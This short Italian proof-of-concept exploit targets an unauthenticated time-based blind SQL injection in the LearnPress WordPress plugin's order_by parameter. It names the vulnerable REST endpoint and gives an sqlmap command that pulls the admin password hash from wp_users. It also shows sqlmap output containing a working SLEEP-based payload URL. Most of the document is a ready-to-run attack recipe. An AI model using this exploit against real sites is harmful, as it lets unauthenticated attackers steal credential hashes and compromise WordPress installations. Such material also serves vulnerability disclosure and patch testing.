
Proof-of-concept exploit per un'iniezione SQL cieca basata sul tempo nel plugin WordPress LearnPress, che consente a utenti non autenticati di estrarre dati sensibili tramite il parametro order_by.
SQLi basata sul tempo
Descrizione Il plugin non sanifica e non esegue correttamente l'escape del parametro order_by prima di utilizzarlo in un'istruzione SQL, portando a un'iniezione SQL sfruttabile da utenti non autenticati
Richiesta GET vulnerabile: https://vulnerablewordpress.com/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID&order=DESC&limit=10&return_type=html
Salva la richiesta GET
sqlmap -r ~/sqli.req -p order_by --technique=T --sql-query = 'select user_pass from wp_users where id = 1'
sqlmap ha ripreso i seguenti punti di iniezione dalla sessione salvata:
Parametro: #1* (URI) Tipo: blind basato sul tempo Titolo: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: https://VULNERABLEWORDPRESS/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID AND (SELECT 7508 FROM (SELECT(SLEEP(5)))VVvd)&order=DESC&limit=10&return_type=html